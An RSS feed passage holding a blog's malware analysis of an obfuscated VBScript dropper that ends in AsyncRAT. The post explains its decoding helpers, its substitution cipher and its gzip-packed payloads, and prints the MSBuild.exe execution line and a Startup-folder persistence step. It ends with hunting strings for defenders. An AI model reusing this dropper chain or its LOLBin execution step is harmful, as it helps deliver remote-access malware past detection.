%2000%200a%2000%2003%2000%2040%20ZZ%20ZZ%20ZZ%20ZZ%2000%200c%2000%2003%2001%2000%20ZZ%20ZZ%20ZZ%20ZZ%2000%200d%2000%2003%2001%2000%20ZZ%20ZZ%20ZZ%20ZZ%2000%200e%2000%2003%2000%2040%20ZZ%20ZZ%20ZZ%20ZZ%2000%200f%2000%2003%2000%2080%20ZZ%20ZZ%20ZZ%20ZZ%2000%201a%2000%2003%2000%2010%20ZZ%20ZZ%20ZZ%20ZZ%2000%201b%2000%2003%2000%2010%20ZZ%20ZZ%20ZZ%20ZZ%2000%201d%2000%2003%2000%2040%20ZZ%20ZZ%20ZZ%20ZZ%2000%201e%2000%2003%2000%2040%20ZZ%20ZZ%20ZZ%20ZZ%2000%2020%2000%2003%2000%2080%20ZZ%20ZZ%20ZZ%20ZZ%2000%2021%2000%2003%2000%2040%20ZZ%20ZZ%20ZZ%20ZZ%2000%2022%2000%2003%2000%2040%20ZZ%20ZZ%20ZZ%20ZZ%2000%2023%2000%2001%2000%2002%20ZZ%20ZZ%20ZZ%20ZZ%2000%2024%2000%2001%2000%2002%20ZZ%20ZZ%20ZZ%20ZZ%2000%2002%2000%2001%2000%2002%20ZZ%20ZZ%20ZZ%20ZZ%2000%2005%2000%2001%2000%2002%20ZZ%20ZZ%20ZZ%20ZZ%2000%2006%2000%2001%2000%2002%20ZZ%20ZZ%20ZZ%20ZZ%2000%2010%2000%2001%2000%2002%20ZZ%20ZZ%20ZZ%20ZZ%2000%2011%2000%2001%2000%2002%20ZZ%20ZZ%20ZZ%20ZZ%2000%2012%2000%2001%2000%2002%20ZZ%20ZZ%20ZZ%20ZZ%2000%2014%2000%2002%2000%2004%20ZZ%20ZZ%20ZZ%20ZZ%2000%2003%2000%2002%2000%2004%20ZZ%20ZZ%20ZZ%20ZZ%2000%2013%2000%2002%2000%2004%20ZZ%20ZZ%20ZZ%20ZZ&#39;,true,false,true,false)Register(&#39;(?:00%2008%2000%2003%2001%2000)((?:.*?)(?%3D00)%7C(?:%20ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,true)Register(&#39;(?:00%2009%2000%2003%2000%2080)((?:.*?)(?%3D00)%7C(?:%20ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,true)Register(&#39;(?:00%200a%2000%2003%2000%2040)((?:.*?)(?%3D00)%7C(?:%20ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,true)Register(&#39;(?:00%200c%2000%2003%2001%2000)((?:.*?)(?%3D00)%7C(?:%20ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,true)Register(&#39;(?:00%200d%2000%2003%2001%2000)((?:.*?)(?%3D00)%7C(?:%20ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,true)Register(&#39;(?:00%200e%2000%2003%2000%2040)((?:.*?)(?%3D00)%7C(?:%20ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,true)Register(&#39;(?:00%200f%2000%2003%2000%2080)((?:.*?)(?%3D00)%7C(?:%20ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,true)Register(&#39;(?:00%201a%2000%2003%2000%2010)((?:.*?)(?%3D00)%7C(?:%20ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,true)Register(&#39;(?:00%201b%2000%2003%2000%2010)((?:.*?)(?%3D00)%7C(?:%20ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,true)Register(&#39;(?:00%201d%2000%2003%2000%2040)((?:.*?)(?%3D00)%7C(?:%20ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,true)Register(&#39;(?:00%201e%2000%2003%2000%2040)((?:.*?)(?%3D00)%7C(?:%20ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,true)Register(&#39;(?:00%2020%2000%2003%2000%2080)((?:.*?)(?%3D00)%7C(?:%20ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,true)Register(&#39;(?:00%2021%2000%2003%2000%2040)((?:.*?)(?%3D00)%7C(?:%20ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,true)Register(&#39;(?:00%2022%2000%2003%2000%2040)((?:.*?)(?%3D00)%7C(?:%20ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,true)Register(&#39;(?:00%2023%2000%2001%2000%2002)((?:.*?)(?%3D00)%7C(?:%20ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,true)Register(&#39;(?:00%2024%2000%2001%2000%2002)((?:.*?)(?%3D00)%7C(?:%20ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,true)Register(&#39;(?:00%2002%2000%2001%2000%2002%20)((?:%5B0%E2%80%939A-F%5D%7B2%7D%5C%5Cs)%7B2%7D%7C(?:ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,false)Register(&#39;(?:00%2005%2000%2001%2000%2002%20)((?:%5B0%E2%80%939A-F%5D%7B2%7D%5C%5Cs)%7B2%7D%7C(?:ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,false)Register(&#39;(?:00%2006%2000%2001%2000%2002%20)((?:%5B0%E2%80%939A-F%5D%7B2%7D%5C%5Cs)%7B2%7D%7C(?:ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,false)Register(&#39;(?:00%2010%2000%2001%2000%2002%20)((?:%5B0%E2%80%939A-F%5D%7B2%7D%5C%5Cs)%7B2%7D%7C(?:ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,false)Register(&#39;(?:00%2011%2000%2001%2000%2002%20)((?:%5B0%E2%80%939A-F%5D%7B2%7D%5C%5Cs)%7B2%7D%7C(?:ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,false)Register(&#39;(?:00%2012%2000%2001%2000%2002%20)((?:%5B0%E2%80%939A-F%5D%7B2%7D%5C%5Cs)%7B2%7D%7C(?:ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,false)Register(&#39;(?:00%2014%2000%2002%2000%2004%20)((?:%5B0%E2%80%939A-F%5D%7B2%7D%5C%5Cs)%7B2%7D%7C(?:ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,false)Register(&#39;(?:00%2003%2000%2002%2000%2004%20)((?:%5B0%E2%80%939A-F%5D%7B2%7D%5C%5Cs)%7B2%7D%7C(?:ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,false)Register(&#39;(?:00%2013%2000%2002%2000%2004%20)((?:%5B0%E2%80%939A-F%5D%7B2%7D%5C%5Cs)%7B4%7D%7C(?:ZZ%20ZZ%20ZZ%20ZZ))&#39;,true,false,false)Find_/_Replace(%7B&#39;option&#39;:&#39;Regex&#39;,&#39;string&#39;:&#39;.*&#39;%7D,&#39;CLEAR&#39;,true,false,true,true)Find_/_Replace(%7B&#39;option&#39;:&#39;Simple%20string&#39;,&#39;string&#39;:&#39;CLEARCLEAR&#39;%7D,&#39;7b%200a%2022%2043%2032%2020%2053%2065%2072%2076%2065%2072%2022%203a%20$R3%202c%200a%2022%2055%2073%2065%2072%2020%2041%2067%2065%206e%2074%2022%203a%20$R4%202c%200a%2022%2048%2054%2054%2050%2020%204d%2065%2074%2068%206f%2064%2020%2050%2061%2074%2068%2020%2032%2022%203a%20$R5%202c%200a%2022%2048%2065%2061%2064%2065%2072%2020%2031%2022%203a%20$R6%202c%200a%2022%2048%2065%2061%2064%2065%2072%2020%2032%2022%203a%20$R7%202c%200a%2022%2049%206e%206a%2065%2063%2074%2069%206f%206e%2020%2050%2072%206f%2063%2065%2073%2073%2022%203a%20$R8%202c%200a%2022%2050%2069%2070%2065%2020%204e%2061%206d%2065%2022%203a%20$R9%202c%200a%2022%204d%2065%2074%2068%206f%2064%2020%2031%2022%203a%20$R10%202c%200a%2022%204d%2065%2074%2068%206f%2064%2020%2032%2022%203a%20$R11%202c%200a%2022%2053%2070%2061%2077%206e%2020%2054%206f%2020%2078%2038%2036%2022%203a%20$R12%202c%200a%2022%2053%2070%2061%2077%206e%2020%2054%206f%2020%2078%2036%2034%2022%203a%20$R13%202c%200a%2022%2050%2072%206f%2078%2079%2020%2048%206f%2073%2074%206e%2061%206d%2065%2022%203a%20$R14%202c%200a%2022%2050%2072%206f%2078%2079%2020%2055%2073%2065%2072%206e%2061%206d%2065%2022%203a%20$R15%202c%200a%2022%2050%2072%206f%2078%2079%2020%2050%2061%2073%2073%2077%206f%2072%2064%2022%203a%20$R16%202c%200a%2022%2050%2072%206f%2078%2079%2020%2041%2063%2063%2065%2073%2073%2020%2054%2079%2070%2065%2022%203a%20$R17%202c%200a%2022%2043%2072%2065%2061%2074%2065%2052%2065%206d%206f%2074%2065%2054%2068%2072%2065%2061%2064%2022%203a%20$R18%202c%200a%2022%2050%206f%2072%2074%2022%203a%20$R19%202c%200a%2022%204a%2069%2074%2074%2065%2072%2022%203a%20$R20%202c%200a%2022%204d%2061%2078%2020%2044%204e%2053%2022%203a%20$R21%202c%200a%2022%2059%2065%2061%2072%2022%203a%20$R22%202c%200a%207d&#39;,true,false,true,false)Find_/_Replace(%7B&#39;option&#39;:&#39;Simple%20string&#39;,&#39;string&#39;:&#39;ZZ%20ZZ%20ZZ%20ZZ&#39;%7D,&#39;4e%2055%204c%204c&#39;,true,false,true,false)From_Hex(&#39;Auto&#39;)">Recipe</a></p><blockquote>Compact JSON for loading:<br><a href="https://pastebin.com/t0YZetBs">https://pastebin.com/t0YZetBs</a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=86d759b9a031" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Obfuscated Dropper — Malware Mondays #1]]></title>
            <link>https://medium.com/@whickey000/malware-mondays-1-231224dab524?source=rss-5678239b7a9b------2</link>
            <guid isPermaLink="false">https://medium.com/p/231224dab524</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Wade Hickey]]></dc:creator>
            <pubDate>Mon, 09 Aug 2021 13:06:41 GMT</pubDate>
            <atom:updated>2022-02-06T13:35:25.609Z</atom:updated>
            <content:encoded><![CDATA[<p>I recently started tracking an obfuscated dropper family that has a fairly low detection rate (2/58 for this sample at the time of this writing). <br><a href="https://www.virustotal.com/gui/file/e96c7bf8e32b864071d84500aa97c6ac55d63e8c8138e34ffe0df8e239482f7e/details">e96c7bf8e32b864071d84500aa97c6ac55d63e8c8138e34ffe0df8e239482f7e</a></p><figure><img alt="VirusTotal screenshot showing 2 security vendors flagged the file" src="https://cdn-images-1.medium.com/max/906/1*NX_KiB0Wi1fOB2_Ivet0yg.png" /><figcaption>VirusTotal details</figcaption></figure><p>This dropper, like most obfuscated samples, uses a few different obfuscation techniques including (but not limited to): String Replacements, Substitution Ciphers, Delimiter Padding, Hex Decoding, URL Decoding, Decimal Decoding, and Gzip Decompression.</p><p>Let’s dig in.</p><p>We can start by taking a look at the first function in the script, <em>URLDecode</em>.</p><p>It’s convenient that the malware author used applicable variable names; this is extremely uncommon especially in obfuscated samples.</p><figure><img alt="Function URLDecode(StringToDecode) Dim TempAns Dim CurChr CurChr = 1 Do Until CurChr — 1 = Len(StringToDecode) Select Case Mid(StringToDecode, CurChr, 1) Case “+” TempAns = TempAns &amp; “ “ Case “%” TempAns = TempAns &amp; Chr((“&amp;h” &amp; Mid(StringToDecode, CurChr + 1, 2))) CurChr = CurChr + 2 Case Else TempAns = TempAns &amp; Mid(StringToDecode, CurChr, 1) End Select CurChr = CurChr + 1 Loop URLDecode = TempAns End Function" src="https://cdn-images-1.medium.com/max/862/1*KhlIF4L5gpi4ZSxqJnepiQ.png" /><figcaption>Function URLDecode()</figcaption></figure><p>We see the function declares two variables (<em>TempAns </em>and <em>CurChr</em>). <br>We see that <em>CurChr </em>is set to a value of 1.<br>We see that the function loops through the input parameter <em>StringToDecode.<br></em>We see that during each loop a character is selected and compared against two cases (“+” and “%”).<br>We see that if the character is not equal to the aforementioned cases, it is appended to the end of <em>TempAns. </em>If it does equal one of the aforementioned cases, it is substituted with a space or the hex value, respectively, and appended to <em>TempAns</em>.<br>We see that the loop continues to the end of input string.<br>We see that the function returns <em>TempAns.</em></p><p>So we have confirmed that the function does appear to decode a string which has been encoded with “+” as spaces and hex values prefixed with a “%” (similar to URL encoding, hence the function name).</p><p>Lets take a look at the second function <em>Avast</em></p><figure><img alt="Function Avast(sInput, sKeyword) Dim Results Dim My_Array My_Array = Split(sInput, sKeyword) For Each S in My_Array Results = Results &amp; Chr(Cint(S)) Next Avast = Results End Function" src="https://cdn-images-1.medium.com/max/434/1*0eBvoKbNW23YoLyl7js3fQ.png" /><figcaption>Function Avast()</figcaption></figure><p>This function is boilerplate code used to split the <em>sInput </em>input string using a delimiter taken from <em>sKeyword. </em>The function loops through the array of the split pieces and casts each piece to an integer, then casts the integer to a character and concatenates the character onto <em>Results</em>. Finally it returns the decoded string.</p><p>After analyzing the helper functions we can take a look at the good stuff.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Un3SF4E6qGlb9HBcJHytg.png" /><figcaption>Problem Declaration/Initialization</figcaption></figure><p>We can see declaration of the variable <em>Problem.</em></p><figure><a href="https://gchq.github.io/CyberChef/#recipe=Find_/_Replace%28%7B%27option%27:%27Regex%27,%27string%27:%27gsgzhksjhslzqadwesncucbjgisgqqhtziewoijltzjmtqqzucdakisd%27%7D,%27%27,true,false,true,false%29&amp;input=Z3Nnemhrc2poc2x6cWFkd2VzbmN1Y2JqZ2lzZ3FxaHR6aWV3b2lqbHR6am10cXF6dWNkYWtpc2R3Z3Nnemhrc2poc2x6cWFkd2VzbmN1Y2JqZ2lzZ3FxaHR6aWV3b2lqbHR6am10cXF6dWNkYWtpc2RzZ3Nnemhrc2poc2x6cWFkd2VzbmN1Y2JqZ2lzZ3FxaHR6aWV3b2lqbHR6am10cXF6dWNkYWtpc2RjZ3Nnemhrc2poc2x6cWFkd2VzbmN1Y2JqZ2lzZ3FxaHR6aWV3b2lqbHR6am10cXF6dWNkYWtpc2RyZ3Nnemhrc2poc2x6cWFkd2VzbmN1Y2JqZ2lzZ3FxaHR6aWV3b2lqbHR6am10cXF6dWNkYWtpc2RpZ3Nnemhrc2poc2x6cWFkd2VzbmN1Y2JqZ2lzZ3FxaHR6aWV3b2lqbHR6am10cXF6dWNkYWtpc2RwZ3Nnemhrc2poc2x6cWFkd2VzbmN1Y2JqZ2lzZ3FxaHR6aWV3b2lqbHR6am10cXF6dWNkYWtpc2R0Z3Nnemhrc2poc2x6cWFkd2VzbmN1Y2JqZ2lzZ3FxaHR6aWV3b2lqbHR6am10cXF6dWNkYWtpc2QuZ3Nnemhrc2poc2x6cWFkd2VzbmN1Y2JqZ2lzZ3FxaHR6aWV3b2lqbHR6am10cXF6dWNkYWtpc2RzZ3Nnemhrc2poc2x6cWFkd2VzbmN1Y2JqZ2lzZ3FxaHR6aWV3b2lqbHR6am10cXF6dWNkYWtpc2RoZ3Nnemhrc2poc2x6cWFkd2VzbmN1Y2JqZ2lzZ3FxaHR6aWV3b2lqbHR6am10cXF6dWNkYWtpc2RlZ3Nnemhrc2poc2x6cWFkd2VzbmN1Y2JqZ2lzZ3FxaHR6aWV3b2lqbHR6am10cXF6dWNkYWtpc2RsZ3Nnemhrc2poc2x6cWFkd2VzbmN1Y2JqZ2lzZ3FxaHR6aWV3b2lqbHR6am10cXF6dWNkYWtpc2RsCg"><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jJPlssnhfo5sO6334Z9IYg.png" /></a><figcaption>Problem’s Replace method call</figcaption></figure><p>We can see (after removing the padding string) that it is set to <em>wscript.shell .</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/1*E-6wOuLfA2exmIhm6Iv4RQ.png" /><figcaption>Mercedes Declaration/Initialization</figcaption></figure><p>We can see variable <em>Mercedes</em> is set to the output of <em>CreateObject(Problem)</em>, which is a <em>WScript.Shell</em> object.</p><figure><img alt="Sub Weekend() Set fso = CreateObject(“Scripting.FileSystemObject”) Set MyFile = fso.CreateTextFile(“C:\Users\Public\Avast.xml”, True) MyFile.Write(URLDecode(Avast(NH, “32”))) MyFile.Close End Sub" src="https://cdn-images-1.medium.com/max/784/1*L7z5HHsyVisYWxtPp-Ej_A.png" /><figcaption>Weekend Subprocedure</figcaption></figure><p>We can see the subprocedure <em>Weekend </em>is declared and upon being called, creates a text file (“<em>C:\Users\Public\Avast.xml</em>”). It then would write the output of currently unknown variable <em>NH </em>split on delimiter “32” and URLDecoded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I5eP70c57toUIdGgjawYsw.png" /><figcaption>NH Declaration/Initialization</figcaption></figure><p>We can see the declaration of variable <em>NH</em>.<br>We can see the extremely long line initializing the variable <em>NH.<br></em>To break apart this problem, we can scroll to the end of the line and identify what arguments are being passed to 10 Nested <em>Replace()</em> method calls.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RcTiMOKoVN0QoXQhOcRX_g.png" /><figcaption>Nested Replace() Calls</figcaption></figure><p>These nested calls can be interpreted as a substitution cipher where &amp; = 0, ~ = 1, # = 2 and so on…</p><p>We can decode the encoded NH variable using a simple CyberChef recipe</p><figure><a href="https://gchq.github.io/CyberChef/#recipe=Substitute%28%27%26~%23%7B%5B%7C_%5E@?%27,%270123456789%27%29Find_/_Replace%28%7B%27option%27:%27Regex%27,%27string%27:%2732%27%7D,%27%20%27,true,false,true,false%29From_Decimal%28%27Space%27,false%29URL_Decode%28%29"><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b8lGoXk3KlwyL77YGR2HdQ.png" /></a><figcaption>CyberChef Recipe</figcaption></figure><p>The output shown above would be the contents of <em>C:\Users\Public\Avast.xml </em>after the <em>Weekend</em> subprocedure is executed.</p><p>The last two lines of the malware sample include the call to the subprocedure <em>Weekend</em> followed by:</p><blockquote>Mercedes.Run “C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Users\Public\Avast.xml”,0</blockquote><p>Remember, <em>Mercedes</em> is a <em>WScript.Shell</em> object which when called with method <em>Run, </em>will execute the command shown above; which is <em>MSBuild.exe</em> with the file created by the <em>Weekend</em> subprocedure, <em>Avast.xml</em>, as its parameter.</p><p><em>MSBuild.exe</em> is a commonly used <a href="https://lolbas-project.github.io/lolbas/Binaries/Msbuild/">LOLBin</a> which allows for arbitrary code execution, and is often used by attackers attempting to circumvent security controls.</p><p>Going back to the contents of <em>Avast.xml</em> we can see encoded byte arrays, the first of which we can see is written to the Windows startup folder and named <em>Startup.vbs</em>, <a href="https://attack.mitre.org/techniques/T1547/001/">this is a persistence mechanism.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eS1qvxfeJ2boSbE3iYaAxw.png" /></figure><p>We can decode the byte array using a single CyberChef operation:</p><figure><a href="https://gchq.github.io/CyberChef/#recipe=From_Decimal%28%27Comma%27,false%29"><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9iBzfZ1d-KRJGDlONDKGHA.png" /></a><figcaption>From Decimal Operation</figcaption></figure><p>There are two additional declared byte arrays, <em>sBytes</em> and <em>payloadBytes.</em></p><p>The code is padded with a string, 戈人土月金難難手, which is later removed with <em>Replace</em> method calls.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UWNnyYSU9On4AII2afyV1g.png" /><figcaption>Padding removed</figcaption></figure><p>We can see that the byte arrays are both passed to the <em>Decompress</em> function shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*88sJSqN_gSGQK_FdWe2Y7A.png" /></figure><p>The <em>Decompress</em> function is copy-pasted code used to decompress GZipped data. For some reason, the trailing zero bytes in the byte arrays break CyberChef’s Gunzip operation; removing the trailing zeros fixes the decompression operation.</p><figure><a href="https://gchq.github.io/CyberChef/#recipe=From_Decimal%28%27Comma%27,false%29Gunzip%28%29"><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oCsQ0gPR_d9-cRJQ0vhmQw.png" /></a><figcaption>Gzip Decompress sBytes</figcaption></figure><p>In the output from <em>sBytes</em> we can see what looks like a <a href="https://en.wikipedia.org/wiki/Portable_Executable">PE Header</a>. Which we see again in the <em>payloadBytes</em> decompression, additionally in the <em>payloadBytes </em>decompression, we see quite a few interesting strings</p><figure><a href="https://gchq.github.io/CyberChef/#recipe=From_Decimal%28%27Comma%27,false%29Gunzip%28%29"><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9QdvdGyEFLTWk-JEA5A6aw.png" /></a><figcaption>Gzip Decompress payloadBytes</figcaption></figure><p>This looks to be a fully formed dotnet binary, we can use <a href="https://github.com/dnSpy/dnSpy">dnSpy </a>to decompile the binary and better understand its innerworkings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/342/1*HFFhKR54CayIQZMDFBc9JA.png" /><figcaption>dnSpy decompilation</figcaption></figure><p>In doing so, we quickly see that the sample has significant code overlap with an open-source RAT known as <a href="https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp">AsyncRA</a>T.</p><p>Additional analysis and extraction of the AsyncRAT configuration file is left as an exercise for the reader.</p><p>Despite the low detection rate, I believe that most security tools would identify this malicious script due to its persistence mechanism (writing to the startup folder), as well as the initial <em>WScript.exe</em> process creation event, and finally YARA memory scanning of the final payload upon execution. The low detection rate is likely due to a lack of dynamic analysis not currently present in VirusTotal as these obfuscation techniques aim to circumvent static detection.</p><p>You can hunt for these droppers using the following interesting strings:<br><a href="https://www.virustotal.com/gui/search/content%253A%2522Function%2520URLDecode(StringToDecode)%2522/files">Function URLDecode(StringToDecode)<br></a><a href="https://www.virustotal.com/gui/search/content%253A%2522Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(%2522">Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(</a></p><p>If you find interesting obfuscated samples, please send me a DM on twitter <a href="https://twitter.com/notwhickey">@notwhickey</a></p><p>Have a good one!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=231224dab524" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>